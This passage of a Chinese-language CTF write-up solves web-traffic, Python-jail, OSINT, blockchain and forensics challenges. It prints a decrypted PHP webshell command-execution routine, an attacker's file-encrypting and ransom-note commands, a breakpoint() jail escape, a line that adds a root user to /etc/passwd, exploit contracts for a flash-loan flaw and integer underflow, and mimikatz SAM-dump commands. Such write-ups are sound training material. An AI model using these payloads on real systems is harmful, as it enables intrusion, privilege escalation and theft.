AcXFESS0VVWwETExlCJxRWAREVUBoAVxJJExZpBwEWfwoQGxUZaD4VRRMSGUZFQhEPbnhiQlgUVBdBU0BOTFk4bhkSFUJFFBVFVkpcBU1GVkgZFl41L2McXj44GUZFQhVEGRIRCTJ+YkUOElMJDAwdB1FAHVNVHRlFF1luLDJLFUoZUV0QTQUFTAg/M0ZFQhUZGVdZEQAUXAMTGh0sEAdkIHt6HUUATFAGFBsZBwsGFUUZFncUBlEdQkNdSQMLRRlEHWJUBhF+W0waEkJrb0IVRBkSFUJFEFMVEw8ZFgoSUAoRFlZORRNHQhoJNGxFQhVEGRIVQkFfYi9kEgRGKzd5KAI/P0JFFBVFExIZDwNCHQ1KbUcHFltAF1BXEUIDEhxNGUk4aEUUFUUTEhlGRUIVRE5aXA4AFB1EE1RcCQNKEQJJGxxCHjk/RRMSGUZFQhVEGRIVQkUUFUFYZXMxRUwIRF9AUAMBHBEDQx4ZV1VQAU0CPz9CRRQVRRMSGUZFQhUZNDgVQkUUFUUTEkRrb0IVRBkSFUJFdEUGX11KA01GUxQQCThoRRQVRU4SXAoWBxUfNDgVQkUUFUUTEh0NMihiRAQSBVloPhVFExIZRkVCERZcQUAOEW8XFkdTTRMWQGhEBBJXAxZRA1FsV1cFCgZQTBtUVAsJFhxePjgZRkVCFUQZEhEQAEdACUdpGwsWBRc5GQ8VAARHUFMHbVwIBg1RAREQWw0LURUKVRJJFAoBagtJV1tNFVVGFkdaSxNKEV0BVV5qBx1RVkpWSlwFSgdNAVoSXBFFVUMEWl5YBAkHF00CPz9CRRQVRRMSGUIOB0xEBBIRPTZxZjZ6fXc9QgkSOQI/P0JFFBVFExIZAwYKWkRcXFYQHERBTVlBVgg6B1sHVlZQSkFGUBZGXk1PTFk4bhkSFUJFFBVFQVdNExcMDmkzEhVCRRQVRRM/M0ZFQhUZNDgVQkUUERdWQUwKETkXF01TQRcWFmhFDhJbBxYHA1BmV1sBClBQTRFBTAUGB0YXGxsOb28UFUUTFksDFhdZEGIQWBECFmhFDhJbBxYHA1BmV1sBClBQTVRXTTUEBFA3TUAdRg5jfzIaGwJrb0IVRBlXVgoKFFALUEBAFhFKXxdWXGoHC1daAVYaHRQAEUAITRscWWg+SGg5PzNsAxdbB01bWgxFcVsGQUtJEk1GUQVNUxxoHj4VRRMSHQ0AGwhGXAYAB1YGDANWUAwCXFAABhsJFWhsUloXGxZQW1VZEQ0FQUEQCVFbTRdWWBIESw5AUBkeS0VPP0UTEhlvQQZUEFhpEQs4FAhFF1ZYEgQ5EQ1kbBEJAE1uQVoZCEBUV2hfGTgVQkUUSG8TEhlGQQBGWRtQVBEAAgE6ERwbAwsBWgBcEA5obBBUA0dXS1tBAEZMHVZUFgQaF0caCTNGRUIVFlxGQBALFBEEVUZcFF5oSG4dUVgGWBZsV2JVdVQ0BXwPaARtJyN2ZDB9Z2sKHTpnMXNRViUNQ2BWYQNjLgkEew5rUVYlDUNWVmEDYy4JBFYsc0RtJAFsY1RLA1ohHRRsM2tRfAs/X1Q9eg8bXUEBWAAEUFQRAAIBOldXWgkBBx1AWl9RS14QRQRHWgRENyZaEmhncyA0BWcifwNdIDQLDBNYenc2AXxjDlZkAVQrIQwTWHp3GAF8Yw5WZAARBg8NEm8DUTopB2MSUXUADj8hDVkbCRESBEBdWFFTSgNTVmoAXFFaBgAcERVSRlFPXm8/CVhbW0pBV1gBHxZJBxEKHF8=";
$d = Decrypt($shell);
print($d);

?>

运行结果即执行的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
@error_reporting(0);

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;

}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}

function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$cmd="Y2QgL2QgIkQ6XEFBQUNURlxXRUJccGhwU3R1ZHlfNjRccGhwc3R1ZHlfcHJvXFdXV1x1cGxvYWRcIiZkaXI=";$cmd=base64_decode($cmd);$path="RDovQUFBQ1RGL1dFQi9waHBTdHVkeV82NC9waHBzdHVkeV9wcm8vV1dXL3VwbG9hZC8=";$path=base64_decode($path);
main($cmd,$path);

可以看到主要的操作是先将$cmd$path进行base64_decode,之后执行并返回 先json_encodeEncrypt$result$result中有两个信息,base64_encode后的statusmsg,其中msg是执行系统命令后的回显结果。于是可以先分析出第三段进行的操作:

1
cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\"&dir

结合流量的响应包可以分析出上述操作后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}

$shell = "TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd9eghDQVwxLhN6M2NDdiAgfXo2B0BcAwQKejN3Rh4DPEZMIV5eSyIJC0QgVVhXASt3XCFfWFsACw9aMFVHWj5KWFwvVV5TUQMPWC8BVXs2PEx6NgMCdDMsVnE1Vnx2CydxeglLcGgzIyZjIWNRY1Izd20tcV1aICtSUTNrB20YPARtLXFdWi4rUlEzawdtUSdNV1RLam9XAQFRPHtBV1AjX3wqVlNRKQAARxFuC1kzVX9xNFxLdCIsUnkeeAd5GCAHfCZyS3QyChp4J3hVfCEkDGcgX2FpDyQFfCd4VXwhJFN8JnJHfTcKG3ggcAJ5GCQBeR92AXAlJBt4MFZFeiEkU3wmcgprIwkxZQ14VXwhJFN8JnJVcCUkF3kDCXl4CCRNeyYLRXY1XRp7HXhVeAggAngxclVwJSQFfCd4VXwhJFN8JnJVcCUkGHggWlVWUA1YVyJER1ohDRVxNVZVfCEkU3wmclVwJSQFfCd4VXwhJEx8KmAGSBMENV1PagVBCyRTfCZyVXAlJAV8J3hVfCYoQ3scd15LPAMNXAtwfHYLJFN8JnJVcCUkBXwneFV8ISRTfCF6VQwqDBMAUUxHAABXYnwhegJ3HxIbex5SQXsIDk55IVRLdyUhDl9SZR1bDi5eWRdpVFYPCit7J14PCEAY";
$d = Decrypt($shell);
print($d);

运行结果:

1
{"status":"c3VjY2Vzcw==","msg":"IOmpseWKqOWZqCBEIOS4reeahOWNt+aYryDmlrDliqDljbcNCiDljbfnmoTluo\/liJflj7fmmK8gNTYxOS00MUI4DQoNCiBEOlxBQUFDVEZcV0VCXHBocFN0dWR5XzY0XHBocHN0dWR5X3Byb1xXV1dcdXBsb2FkIOeahOebruW9lQ0KDQoyMDI0LzA5LzE3ICAyMToxMCAgICA8RElSPiAgICAgICAgICAuDQoyMDI0LzA5LzE3ICAyMTowOCAgICA8RElSPiAgICAgICAgICAuLg0KMjAyNC8wOS8xNyAgMjE6MTAgICAgICAgICAgICAgICAzMDcgc2hlbGwucGhwDQogICAgICAgICAgICAgICAxIOS4quaWh+S7tiAgICAgICAgICAgIDMwNyDlrZfoioINCiAgICAgICAgICAgICAgIDIg5Liq55uu5b2VIDI0NywyNzksNjkzLDgyNCDlj6\/nlKjlrZfoioINCg=="}

进行base64解码可以得到:

1
status:success
1
2
3
4
5
6
7
8
9
10
11
msg:
驱动器 D 中的卷是 新加卷
卷的序列号是 5619-41B8

D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload 的目录

2024/09/17 21:10 <DIR> .
2024/09/17 21:08 <DIR> ..
2024/09/17 21:10 307 shell.php
1 个文件 307 字节
2 个目录 247,279,693,824 可用字节

之后一段段分析即可,整段攻击过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\"&dir

驱动器 D 中的卷是 新加卷
卷的序列号是 5619-41B8

D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload 的目录

2024/09/17 21:10 <DIR> .
2024/09/17 21:08 <DIR> ..
2024/09/17 21:10 307 shell.php
1 个文件 307 字节
2 个目录 247,279,693,824 可用字节


cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\"&cd ../


cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&dir

驱动器 D 中的卷是 新加卷
卷的序列号是 5619-41B8

D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW 的目录

2024/09/17 21:08 <DIR> .
2024/09/07 18:30 <DIR> ..
2024/09/16 23:22 332 index.html
2024/09/17 20:21 75 unfinished_hello.php
2024/09/17 21:10 <DIR> upload
2024/09/17 11:07 1,202 upload.php
3 个文件 1,609 字节
3 个目录 247,279,693,824 可用字节


cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&openssl version

WARNING: can't open config file: /usr/local/ssl/openssl.cnf
OpenSSL 1.0.2p 14 Aug 2018


cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&openssl enc -aes-128-cbc -in unfinished_hello.php -out secret.php -iv 114514 -K c4d038b4bed09fdb

WARNING: can't open config file: /usr/local/ssl/openssl.cnf


cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&del unfinished_hello.php


cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&echo "If you want to decrypt your file, give me a copy of your calculus homework. UwU" > readme.txt

可以看到是用opensslunfinished_hello.php进行了文件加密,且删掉了原文件,只需要用opensslsecret.php即可拿到原文件:

1
openssl aes-128-cbc -d -in secret.php -out flag.php -iv 114514 -K c4d038b4bed09fdb

输出的flag.php文件内容为:

1
2
3
4
5
<?php
//0xGame{8552BB81-D51A-FDCE-2EF1-55EBBEFF9B9C}

echo "Hello,
?>

Untouchable flag

题目附件为pyjail.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import re

def pyjail():
pattern = re.compile("[a-zA-Z0-9]")
while True:
code = input(">")

if re.findall(pattern,code):
print("Some characters in your code are banned.")
elif len(code) > 12:
print("Your code is too long.")
else:
eval(code)

可以看到禁用了所有字母和数字,并且对代码长度有所限制,必须不大于12

nc连上后题目还给了一个hint:the Python version is greater than 3.7.,网上找找可以知道python3支持非ASCII字符,可以用unicode字符绕过第一个限制,并且还可以找到从Python 3.7开始引入了breakpoint()函数,于是可以绕过第二个限制进行rce:

1
2
3
4
5
6
7
from pwn import *

p = remote("47.98.178.117", 2222)

code = "𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()"
p.sendline(code)
p.interactive()

拿到shell后直接读flag发现不行,ls- l查看文件权限可以看到flag文件只有root可读,需要寻找提权的方法

预期解是/etc/passwd提权,可以看到环境中该文件所有用户可读可写,直接写入一个拥有root权限的用户即可

办法有很多,这里拿openssl举例:

1
2
3
openssl passwd -1 -salt test z9nn8w

$1$test$eicwC/tivElau/ii72ooo0

写入/etc/passwd再切换用户即可拿到root权限:

1
2
3
4
5
6
7
echo 'w8nn9z:$1$test$eicwC/tivElau/ii72ooo0:0:0:root:/root:/bin/bash' >> /etc/passwd

su w8nn9z
z9nn8w

cat flag
0xGame{PyJ@i1_w1Th_P@sswd_3l3Vat3_pr1v1l3g3}

OSINT

互联网的一角*

访问题目页面,摁F12就可以看到前端有注释

img

这里的注释指的是要求查询CNAME记录,后面上的hint中也给出了。查询CNAME记录的方法其实有很多,ping、nslookup、dig等等都可以,最简单的就是这里直接ping一下。

img

对于.github.io,如果有经验的话一眼就知道这是github pages。如果不知道,查找一下也很快能得知,这是github上一个叫做oxg4me2024的用户搭建的页面,去github上搜索一下这个用户。

img

一路顺藤摸瓜找进去,可以找到flag.txt

img

但是flag.txt的内容并不是flag,这里点击右上角的History,查询这个文件的修改历史即可看到flag

img

img

给我干哪来了,这还是国内吗??*

图寻题,就是要求找出图片中的地方

img

img

其实不难看出来,底下还有个google的logo没能删掉,这个地方其实可以在google map上找到原图。将图片放大,可以看到远处建筑物上标着的super st bernard,在google map上一搜就有。位置差不多在45.90°N,7.19°E左右。

img

可以查看实景

img

国家是瑞士不用多说,剩下的可以在维基百科上找到,改成英文即可

img

0xGame{Switzerland_Valais_Entremont_Bourg-Saint-Pierre}

Blockchain

肘,上链!*

出题时用的是github上的solidctf项目,所以nc那边传完一次就断就不要拷打我了o(╥﹏╥)o

先nc创建账户

img

拿给的账号去水龙头上接一下水

img

部署题目合约

img

打开metamask(一个浏览器插件),如下图连接到RPC,其中链ID随便填一个它就会告诉你正确的链ID

img

切换到该网络,拿自己的账户也去水龙头上接一下水

img

获取一下题目合约

img

打开remix,这里新建一个文件,把题目合约复制过去

img

选择相应的版本,编译合约

img

Environment中选择Injected Provider - MetaMask,注意metamask的小窗口要点开看一下是否连接成功

img

将前面nc时给的合约地址复制过来到At Address里面,点击At Address

img

题目的合约代码很简单,要求传的值需要与”Hello0xBlockchain”的keccak256哈希值相同,这里用web3py计算一下。

1
2
3
4
5
6
from web3 import Web3
s=b"Hello0xBlockchain"
w3 = Web3()
hash_bytes = w3.keccak(s)
hash_hex = hash_bytes.hex()
print(hash_hex)

得到的结果复制到sign里面,前面记得加上0x,然后点击sign,中间有个交易的对话框,确认一下

img

点击isSolved,看到值已经返回了true

img

回到nc那边,get flag

img

theft

通过在execute中执行deposit,来替代还款,从而可以达到借了就还但是自己的余额越来越多

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface FlashLoan {
function deposit() external payable;
function withdraw() external;
function flashLoan(uint256 amount) external;
}

contract Exp {
FlashLoan public FL;

constructor(address _addr) {
FL = FlashLoan(_addr);
}

function attack() external {
for(int i = 0; i < 9; i++){
FL.flashLoan(100 ether);
}
FL.flashLoan(99 ether);
}

function execute() external payable {
FL.deposit{value: msg.value}();
}
}

先at address部署Setup.sol获取target地址,然后填入构造函数部署再调用attack即可

我哪来那么多臭钱??*

具体的部署等操作这里就不再赘述了,详见week1的wp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

contract Challenge {
mapping(address => uint256) public balance;
bool public solve;
constructor() {}

function Get() public {
balance[msg.sender] = 50;
}

function Transfer(address to, uint256 amount) public {
require(amount > 0, "Man!");
require(balance[msg.sender] > 0, "What can I say");
require(balance[msg.sender] - amount > 0, "Mamba out!");
require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?");
balance[msg.sender] -= amount;
balance[to] += amount;
}

function check() public {
require(balance[msg.sender] == 114514);
solve=true;
}

function isSolved() public view returns (bool) {
return solve;
}
}

先来看合约代码。Get函数为初始化balance为50,check函数为检查余额是否为114514,当余额为114514时,isSolved函数返回true。

主要是Transfer函数,用于向某个地址转账,但这里做了一系列的限制。要求转账金额、转账前余额、转账后余额都大于0,另外要求当前发起转账的用户地址后两位为ef。

这里有两个考点,一个是整数溢出,我们可以注意到solidity版本为0.7.0,balance和amount的类型都为uint256,即数据大小在0~2**256之间。代码中有balance[msg.sender] - amount > 0的要求,但是如果amount > balance[msg.sender],那么会发生什么?显然值并不会变为负数,这里值会直接变成2**256 - amount + balance[msg.sender]。因此,我们只要使amount的值为2**256-114514+50即可。这里其实有些师傅是想复杂了。

另外一个考点其实是虚荣地址(vanity address),也就是后来给的hint中所指的。虚荣地址就是用户自己生成的具有某一特殊组合的地址,google一下其实不难找到有一个在线网站https://vanity-eth.tk/可以生成虚荣地址,如下图所示。

img

但其实自己或者让GPT帮忙搓一个脚本其实也不难(出题人问GPT一次就成功了)

1
2
3
4
5
6
7
8
9
10
11
12
from eth_account import Account
import secrets
def find_address_ending_with_ef():
while True:
private_key = '0x' + secrets.token_hex(32)
account = Account.from_key(private_key)
address = account.address
if address.endswith('ef'):
return private_key, address
private_key, address = find_address_ending_with_ef()
print(f"Private Key: {private_key}")
print(f"Address: {address}")

接下来导入私钥就可以用了。

先get

img

然后transact,to的地址随便填就行

img

再check,可以看到isSolved返回了true

img

拿到flag

img

Forensics

画画的baby

附件给了一个内存文件,本题直接用volatility2或volatility3都能完成

volatility2:

先找到内存的profile:

1
python2 vol.py -f painting.raw imageinfo

之后经过一些尝试,在查看进程的时候可以发现有一个mspaint.exe的进程,查阅资料可以知道这是windows自带的一个画图软件:

1
2
3
4
python2 vol.py -f painting.raw --profile=Win10x64_19041 pslist
......
0xffffe70970c0c340 mspaint.exe 5372 3912 7 0 1 0 2024-09-06 14:36:00 UTC+0000
......

把对应的进程提取到当前目录下:

1
python2 vol.py -f painting.raw --profile=Win10x64_19041 memdump -p 3912 -D ./

改后缀为.data,再用gimp打开调调宽高和位移就能看到当时的画:

img

volatility3:

操作其实都差不多,不过volatility3不需要指定windows的profile:

1
2
3
4
python vol.py -f painting.raw windows.pslist
......
5372 3912 mspaint.exe 0xe70970c0c340 7 - 1 False 2024-09-06 14:36:00.000000 N/A Disabled
......

再把进程提取到当前目录下:

1
python vol.py -f painting.raw windows.memmap --pid 5372 --dump

gimp调位移和宽高:

img

实际上,这几题如果用取证大师软件自动取证的话会方便许多,但出题人的预期是希望大家也能了解了解如何手动去进行这些取证,因此下面会放取证大师和手动取证两种做法。当然手动取证除了下面给出的方法以外还有很多,欢迎师傅们前来探讨。

FBI Open The Door!! 1*

实际上,这几题如果用取证大师软件自动取证的话会方便许多,但出题人的预期是希望大家也能了解了解如何手动去进行这些取证,因此下面会放取证大师和手动取证两种做法。当然手动取证除了下面给出的方法以外还有很多,欢迎师傅们前来探讨。

img

将检材下载下来求一下SHA256校验值即可

img

0xGame{6d393b09ac01accf27bce07a9c07f5721b9e1e1fd5de1cc8cc1a2581a43e68f5}

FBI Open The Door!! 2*

img

法一

取证大师一把梭

img

0xGame{F1sh1ng-s3v3r}

法二

使用FTK Imager打开:file–>Add Evidence Item–>Image File–>Browse选择文件–>Finish

在C:\Windows\System32\winevt\Logs路径下找到系统日志system.evtx

img

打开日志文件,查看事件ID为6011的日志,发现有一条修改主机名的记录,得到主机名

img

0xGame{F1sh1ng-s3v3r}

FBI Open The Door!! 3*

img

法一

取证大师可以直接梭出用户St5rr的NTLM hash

img

cmd5上查一下就有

img

0xGame{zaq!xsw@}

法二

用ftk,在C:\Windows\System32\config下找到SYSTEM和SAM两个文件,导出

img

img

接下来使用一个叫作mimikatz的工具提取NTLM Hash。

运行的时候记得以管理员权限运行,然后依次运行下面两行神奇命令就能得到用户的NTLM Hash。

1
2
privilege::debug
lsadump::sam /sam:SAM /system:SYSTEM

img

查cmd5

img

0xGame{zaq!xsw@}

FBI Open The Door!! 4*

img

法一

取证大师一把梭

img

0xGame{2024-10-23 14:50:40}

法二

用ftk,在C:\Windows\System32\config下找到SOFTWARE,导出

img

用kali自带的chntpw查看,用下面的两条奇妙命令即可

1
2
chntpw -e SOFTWARE
ls Microsoft\Windows NT\CurrentVersion

img

可以看到InstallDate,是以时间戳的形式表示的,使用在线工具进行转换,得到系统安装时间

img

0xGame{2024-10-23 14:50:40}

FBI Open The Door!! 5*

img

可以在C:\Windows\Temp路径下找到gophish文件夹,将其导出。取证大师中的话可以更快找到这个路径。

img

在接下来的步骤前,建议去了解一下gophish

文件夹中有个gophish.db,用navicat看一下

img

在smtp表中找到password字段,这就是smtp授权码

img

0xGame{wpdqlnyvetqyddce}

FBI Open The Door!! 6*

img

接上一题,查看users表中的hash字段,这就是登录密码的哈希

img

网上搜索一下可以知道,这是bcrypt hash,明文肯定是弱口令,用hashcat或者jtr爆破一下就行,下面用jtr。将哈希值存成一个名为1.hash的文件,字典使用rockyou.txt。

img

0xGame{qwertyuiop}